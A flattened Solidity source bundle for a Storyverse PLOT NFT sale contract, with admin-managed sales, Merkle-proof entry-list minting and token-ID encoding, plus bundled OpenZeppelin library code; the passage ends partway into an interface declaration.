// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&BBBBBBBGG&@@@@@@@@@&&&&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&P!: :[email protected]@@@&P7^. .^?G&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@&J. :#@@@#7. :Y&@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@&! [email protected]@@B: !&@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@P [email protected]@@~ [email protected]@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@J [email protected]@&. [email protected]@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@G [email protected]@@. [email protected]@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@. &@@Y #@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@& [email protected]@@&##########&&&&&&&&&&&#############@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@& [email protected]@@@@@@@@@@@@@#B######&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@. &@@@@@@@@@@@@@B~ .:!5&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@B [email protected]@@@@@@@@@@@@@@&! .7#@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@Y [email protected]@@@@@@@@@@@@@@@B. ^#@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@G [email protected]@@@@@@@@@@@@@@@@: [email protected]@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@? [email protected]@@@@@@@@@@@@@@@@. ^@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@5: [email protected]@@@@@@@@@@@@@@B [email protected]@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&G7^. :[email protected]@@@@@@@@@@@@@: #@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#######BB&@@@@@@@@@@@@@7 [email protected]@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@? [email protected]@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@. ^@@@: [email protected]@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@Y [email protected]@# ^@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@! [email protected]@@: [email protected]@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@Y [email protected]@@^ [email protected]@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@&~ !&@@&. :[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@&?. .J&@@@? [email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#Y~. :!5&@@@#7 .^[email protected]@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&#BGGGB#&@@@@@@@@BPGGGGGGB#&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "./common/SaleCommon.sol";
contract ETHSale is AccessControl, SaleCommon {
struct Sale {
uint256 id;
uint256 volume;
uint256 presale;
uint256 starttime; // to start immediately, set starttime = 0
uint256 endtime;
bool active;
bytes32 merkleRoot; // Merkle root of the entrylist Merkle tree, 0x00 for non-merkle sale
uint256 maxQuantity;
uint256 price; // in Wei, where 10^18 Wei = 1 ETH
uint256 startTokenIndex;
uint256 maxPLOTs;
uint256 mintedPLOTs;
}
Sale[] public sales;
mapping(uint256 => mapping(address => uint256)) public minted; // sale ID => account => quantity
/// @notice Constructor
/// @param _plot Storyverse Plot contract
constructor(address _plot) SaleCommon(_plot) {}
/// @notice Get the current sale
/// @return Current sale
function currentSale() public view returns (Sale memory) {
require(sales.length > 0, "no current sale");
return sales[sales.length - 1];
}
/// @notice Get the current sale ID
/// @return Current sale ID
function currentSaleId() public view returns (uint256) {
require(sales.length > 0, "no current sale");
return sales.length - 1;
}
/// @notice Checks if the provided token ID parameters are likely to overlap a previous or current sale
/// @param _startTokenIndex Token index to start the sale from
/// @param _maxPLOTs Maximum number of PLOTs that can be minted in this sale
/// @return valid_ If the current token ID range paramters are likely safe
function isSafeTokenIdRange(uint256 _startTokenIndex, uint256 _maxPLOTs)
external
view
returns (bool valid_)
{
return _isSafeTokenIdRange(_startTokenIndex, _maxPLOTs, sales.length);
}
function _checkSafeTokenIdRange(
uint256 _startTokenIndex,
uint256 _maxPLOTs,
uint256 _maxSaleId
) internal view {
// If _maxSaleId is passed in as the current sale ID, then
// the check will skip the current sale ID in _isSafeTokenIdRange()
// since in that case _maxSaleId == sales.length - 1
require(
_isSafeTokenIdRange(_startTokenIndex, _maxPLOTs, _maxSaleId),
"overlapping token ID range"
);
}
function _isSafeTokenIdRange(
uint256 _startTokenIndex,
uint256 _maxPLOTs,
uint256 _maxSaleId
) internal view returns (bool valid_) {
if (_maxPLOTs == 0) {
return true;
}
for (uint256 i = 0; i < _maxSaleId; i++) {
// if no minted PLOTs in sale, ignore
if (sales[i].mintedPLOTs == 0) {
continue;
}
uint256 saleStartTokenIndex = sales[i].startTokenIndex;
uint256 saleMintedPLOTs = sales[i].mintedPLOTs;
if (_startTokenIndex < saleStartTokenIndex) {
// start index is less than the sale's start token index, so ensure
// it doesn't extend into the sale's range if max PLOTs are minted
if (_startTokenIndex + _maxPLOTs - 1 >= saleStartTokenIndex) {
return false;
}
} else {
// start index greater than or equal to the sale's start token index, so ensure
// it starts after the sale's start token index + the number of PLOTs minted
if (_startTokenIndex <= saleStartTokenIndex + saleMintedPLOTs - 1) {
return false;
}
}
}
return true;
}
/// @notice Adds a new sale
/// @param _volume Volume of the sale
/// @param _presale Presale of the sale
/// @param _starttime Start time of the sale
/// @param _endtime End time of the sale
/// @param _active Whether the sale is active
/// @param _merkleRoot Merkle root of the entry list Merkle tree, 0x00 for non-merkle sale
/// @param _maxQuantity Maximum number of PLOTs per account that can be sold
/// @param _price Price of each PLOT
/// @param _startTokenIndex Token index to start the sale from
/// @param _maxPLOTs Maximum number of PLOTs that can be minted in this sale
function addSale(
uint256 _volume,
uint256 _presale,
uint256 _starttime,
uint256 _endtime,
bool _active,
bytes32 _merkleRoot,
uint256 _maxQuantity,
uint256 _price,
uint256 _startTokenIndex,
uint256 _maxPLOTs
) public onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = sales.length;
checkTokenParameters(_volume, _presale, _startTokenIndex);
_checkSafeTokenIdRange(_startTokenIndex, _maxPLOTs, saleId);
Sale memory sale = Sale({
id: saleId,
volume: _volume,
presale: _presale,
starttime: _starttime,
endtime: _endtime,
active: _active,
merkleRoot: _merkleRoot,
maxQuantity: _maxQuantity,
price: _price,
startTokenIndex: _startTokenIndex,
maxPLOTs: _maxPLOTs,
mintedPLOTs: 0
});
sales.push(sale);
emit SaleAdded(msg.sender, saleId);
}
/// @notice Updates the current sale
/// @param _volume Volume of the sale
/// @param _presale Presale of the sale
/// @param _starttime Start time of the sale
/// @param _endtime End time of the sale
/// @param _active Whether the sale is active
/// @param _merkleRoot Merkle root of the entry list Merkle tree, 0x00 for non-merkle sale
/// @param _maxQuantity Maximum number of PLOTs per account that can be sold
/// @param _price Price of each PLOT
/// @param _startTokenIndex Token index to start the sale from
/// @param _maxPLOTs Maximum number of PLOTs that can be minted in this sale
function updateSale(
uint256 _volume,
uint256 _presale,
uint256 _starttime,
uint256 _endtime,
bool _active,
bytes32 _merkleRoot,
uint256 _maxQuantity,
uint256 _price,
uint256 _startTokenIndex,
uint256 _maxPLOTs
) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = currentSaleId();
checkTokenParameters(_volume, _presale, _startTokenIndex);
_checkSafeTokenIdRange(_startTokenIndex, _maxPLOTs, saleId);
Sale memory sale = Sale({
id: saleId,
volume: _volume,
presale: _presale,
starttime: _starttime,
endtime: _endtime,
active: _active,
merkleRoot: _merkleRoot,
maxQuantity: _maxQuantity,
price: _price,
startTokenIndex: _startTokenIndex,
maxPLOTs: _maxPLOTs,
mintedPLOTs: sales[saleId].mintedPLOTs
});
sales[saleId] = sale;
emit SaleUpdated(msg.sender, saleId);
}
/// @notice Updates the volume of the current sale
/// @param _volume Volume of the sale
function updateSaleVolume(uint256 _volume) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = currentSaleId();
checkTokenParameters(_volume, sales[saleId].presale, sales[saleId].startTokenIndex);
sales[saleId].volume = _volume;
emit SaleUpdated(msg.sender, saleId);
}
/// @notice Updates the presale of the current sale
/// @param _presale Presale of the sale
function updateSalePresale(uint256 _presale) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = currentSaleId();
checkTokenParameters(sales[saleId].volume, _presale, sales[saleId].startTokenIndex);
sales[saleId].presale = _presale;
emit SaleUpdated(msg.sender, saleId);
}
/// @notice Updates the start time of the current sale
/// @param _starttime Start time of the sale
function updateSaleStarttime(uint256 _starttime) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = currentSaleId();
sales[saleId].starttime = _starttime;
emit SaleUpdated(msg.sender, saleId);
}
/// @notice Updates the end time of the current sale
/// @param _endtime End time of the sale
function updateSaleEndtime(uint256 _endtime) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = currentSaleId();
sales[saleId].endtime = _endtime;
emit SaleUpdated(msg.sender, saleId);
}
/// @notice Updates the active status of the current sale
/// @param _active Whether the sale is active
function updateSaleActive(bool _active) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = currentSaleId();
sales[saleId].active = _active;
emit SaleUpdated(msg.sender, saleId);
}
/// @notice Updates the merkle root of the current sale
/// @param _merkleRoot Merkle root of the entry list Merkle tree, 0x00 for non-merkle sale
function updateSaleMerkleRoot(bytes32 _merkleRoot) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = currentSaleId();
sales[saleId].merkleRoot = _merkleRoot;
emit SaleUpdated(msg.sender, saleId);
}
/// @notice Updates the max quantity of the current sale
/// @param _maxQuantity Maximum number of PLOTs per account that can be sold
function updateSaleMaxQuantity(uint256 _maxQuantity) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = currentSaleId();
sales[saleId].maxQuantity = _maxQuantity;
emit SaleUpdated(msg.sender, saleId);
}
/// @notice Updates the price of each PLOT for the current sale
/// @param _price Price of each PLOT
function updateSalePrice(uint256 _price) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = currentSaleId();
sales[saleId].price = _price;
emit SaleUpdated(msg.sender, saleId);
}
/// @notice Updates the start token index of the current sale
/// @param _startTokenIndex Token index to start the sale from
function updateSaleStartTokenIndex(uint256 _startTokenIndex)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
uint256 saleId = currentSaleId();
_checkSafeTokenIdRange(_startTokenIndex, sales[saleId].maxPLOTs, saleId);
checkTokenParameters(sales[saleId].volume, sales[saleId].presale, _startTokenIndex);
sales[saleId].startTokenIndex = _startTokenIndex;
emit SaleUpdated(msg.sender, saleId);
}
/// @notice Updates the of the current sale
/// @param _maxPLOTs Maximum number of PLOTs that can be minted in this sale
function updateSaleMaxPLOTs(uint256 _maxPLOTs) external onlyRole(DEFAULT_ADMIN_ROLE) {
uint256 saleId = currentSaleId();
_checkSafeTokenIdRange(sales[saleId].startTokenIndex, _maxPLOTs, saleId);
sales[saleId].maxPLOTs = _maxPLOTs;
emit SaleUpdated(msg.sender, saleId);
}
function _mintTo(
address _to,
uint256 _volume,
uint256 _presale,
uint256 _startTokenIndex,
uint256 _quantity
) internal {
require(_quantity > 0, "quantity must be greater than 0");
for (uint256 i = 0; i < _quantity; i++) {
uint256 tokenIndex = _startTokenIndex + i;
uint256 tokenId = buildTokenId(_volume, _presale, tokenIndex);
IStoryversePlot(plot).safeMint(_to, tokenId);
}
emit Minted(msg.sender, _to, _quantity, msg.value);
}
/// @notice Mints new tokens in exchange for ETH
/// @param _to Owner of the newly minted token
/// @param _quantity Quantity of tokens to mint
function mintTo(address _to, uint256 _quantity) external payable nonReentrant {
Sale memory sale = currentSale();
// only proceed if no merkle root is set
require(sale.merkleRoot == bytes32(0), "merkle sale requires valid proof");
// check sale validity
require(sale.active, "sale is inactive");
require(block.timestamp >= sale.starttime, "sale has not started");
require(block.timestamp < sale.endtime, "sale has ended");
// validate payment and authorized quantity
require(msg.value == sale.price * _quantity, "incorrect payment for quantity and price");
require(
minted[sale.id][msg.sender] + _quantity <= sale.maxQuantity,
"exceeds allowed quantity"
);
// check sale supply
require(sale.mintedPLOTs + _quantity <= sale.maxPLOTs, "insufficient supply");
sales[sale.id].mintedPLOTs += _quantity;
minted[sale.id][msg.sender] += _quantity;
_mintTo(
_to,
sale.volume,
sale.presale,
sale.startTokenIndex + sale.mintedPLOTs,
_quantity
);
}
/// @notice Mints new tokens in exchange for ETH based on the sale's entry list
/// @param _proof Merkle proof to validate the caller is on the sale's entry list
/// @param _maxQuantity Max quantity that the caller can mint
/// @param _to Owner of the newly minted token
/// @param _quantity Quantity of tokens to mint
function entryListMintTo(
bytes32[] calldata _proof,
uint256 _maxQuantity,
address _to,
uint256 _quantity
) external payable nonReentrant {
Sale memory sale = currentSale();
// validate merkle proof
bytes32 leaf = keccak256(abi.encodePacked(msg.sender, _maxQuantity));
require(MerkleProof.verify(_proof, sale.merkleRoot, leaf), "invalid proof");
// check sale validity
require(sale.active, "sale is inactive");
require(block.timestamp >= sale.starttime, "sale has not started");
require(block.timestamp < sale.endtime, "sale has ended");
// validate payment and authorized quantity
require(msg.value == sale.price * _quantity, "incorrect payment for quantity and price");
require(
minted[sale.id][msg.sender] + _quantity <= Math.max(sale.maxQuantity, _maxQuantity),
"exceeds allowed quantity"
);
// check sale supply
require(sale.mintedPLOTs + _quantity <= sale.maxPLOTs, "insufficient supply");
sales[sale.id].mintedPLOTs += _quantity;
minted[sale.id][msg.sender] += _quantity;
_mintTo(
_to,
sale.volume,
sale.presale,
sale.startTokenIndex + sale.mintedPLOTs,
_quantity
);
}
/// @notice Administrative mint function within the constraints of the current sale, skipping some checks
/// @param _to Owner of the newly minted token
/// @param _quantity Quantity of tokens to mint
function adminSaleMintTo(address _to, uint256 _quantity) external onlyRole(MINTER_ROLE) {
Sale memory sale = currentSale();
// check sale supply
require(sale.mintedPLOTs + _quantity <= sale.maxPLOTs, "insufficient supply");
sales[sale.id].mintedPLOTs += _quantity;
minted[sale.id][msg.sender] += _quantity;
_mintTo(
_to,
sale.volume,
sale.presale,
sale.startTokenIndex + sale.mintedPLOTs,
_quantity
);
}
/// @notice Administrative mint function
/// @param _to Owner of the newly minted token
/// @param _quantity Quantity of tokens to mint
function adminMintTo(
address _to,
uint256 _volume,
uint256 _presale,
uint256 _startTokenIndex,
uint256 _quantity
) external onlyRole(DEFAULT_ADMIN_ROLE) {
// add a sale (clobbering any current sale) to ensure token ranges
// are respected and recorded
addSale(
_volume,
_presale,
block.timestamp,
block.timestamp,
false,
bytes32(0),
0,
2**256 - 1,
_startTokenIndex,
_quantity
);
// record the sale as fully minted
sales[sales.length - 1].mintedPLOTs = _quantity;
_mintTo(_to, _volume, _presale, _startTokenIndex, _quantity);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.13;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../interfaces/IStoryversePlot.sol";
contract SaleCommon is AccessControl, ReentrancyGuard {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
address public plot;
/// @notice Emitted when a new sale is added to the contract
/// @param who Admin that created the sale
/// @param saleId Sale ID, will be the current sale
event SaleAdded(address who, uint256 saleId);
/// @notice Emitted when the current sale is updated
/// @param who Admin that updated the sale
/// @param saleId Sale ID, will be the current sale
event SaleUpdated(address who, uint256 saleId);
/// @notice Emitted when new tokens are sold and minted
/// @param who Purchaser (payer) for the tokens
/// @param to Owner of the newly minted tokens
/// @param quantity Quantity of tokens minted
/// @param amount Amount paid in Wei
event Minted(address who, address to, uint256 quantity, uint256 amount);
/// @notice Emitted when funds are withdrawn from the contract
/// @param to Recipient of the funds
/// @param amount Amount sent in Wei
event FundsWithdrawn(address to, uint256 amount);
/// @notice Constructor
/// @param _plot Storyverse Plot contract
constructor(address _plot) {
_grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
_grantRole(MINTER_ROLE, msg.sender);
plot = _plot;
}
function checkTokenParameters(
uint256 _volume,
uint256 _presale,
uint256 _tokenIndex
) internal pure {
require(_volume > 0 && _volume < 2**10, "invalid volume");
require(_presale < 2**2, "invalid presale");
require(_tokenIndex < 2**32, "invalid token index");
}
function buildTokenId(
uint256 _volume,
uint256 _presale,
uint256 _tokenIndex
) public view returns (uint256 tokenId_) {
checkTokenParameters(_volume, _presale, _tokenIndex);
uint256 superSecretSpice = uint256(
keccak256(
abi.encodePacked(
(0x4574c8c75d6e88acd28f7e467dac97b5c60c3838d9dad993900bdf402152228e ^
uint256(blockhash(block.number - 1))) + _tokenIndex
)
)
) & 0xffffffff;
tokenId_ = (_volume << 245) | (_presale << 243) | (superSecretSpice << 211) | _tokenIndex;
return tokenId_;
}
/// @notice Decode a token ID into its component parts
/// @param _tokenId Token ID
/// @return volume_ Volume of the sale
/// @return presale_ Presale of the sale
/// @return superSecretSpice_ Super secret spice
/// @return tokenIndex_ Token index
function decodeTokenId(uint256 _tokenId)
external
pure
returns (
uint256 volume_,
uint256 presale_,
uint256 superSecretSpice_,
uint256 tokenIndex_
)
{
volume_ = (_tokenId >> 245) & 0x3ff;
presale_ = (_tokenId >> 243) & 0x3;
superSecretSpice_ = (_tokenId >> 211) & 0xffffffff;
tokenIndex_ = _tokenId & 0xffffffff;
return (volume_, presale_, superSecretSpice_, tokenIndex_);
}
/// @notice Withdraw funds from the contract
/// @param _to Recipient of the funds
/// @param _amount Amount sent, in Wei
function withdrawFunds(address payable _to, uint256 _amount)
external
onlyRole(DEFAULT_ADMIN_ROLE)
nonReentrant
{
require(_amount <= address(this).balance, "not enough funds");
_to.transfer(_amount);
emit FundsWithdrawn(_to, _amount);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
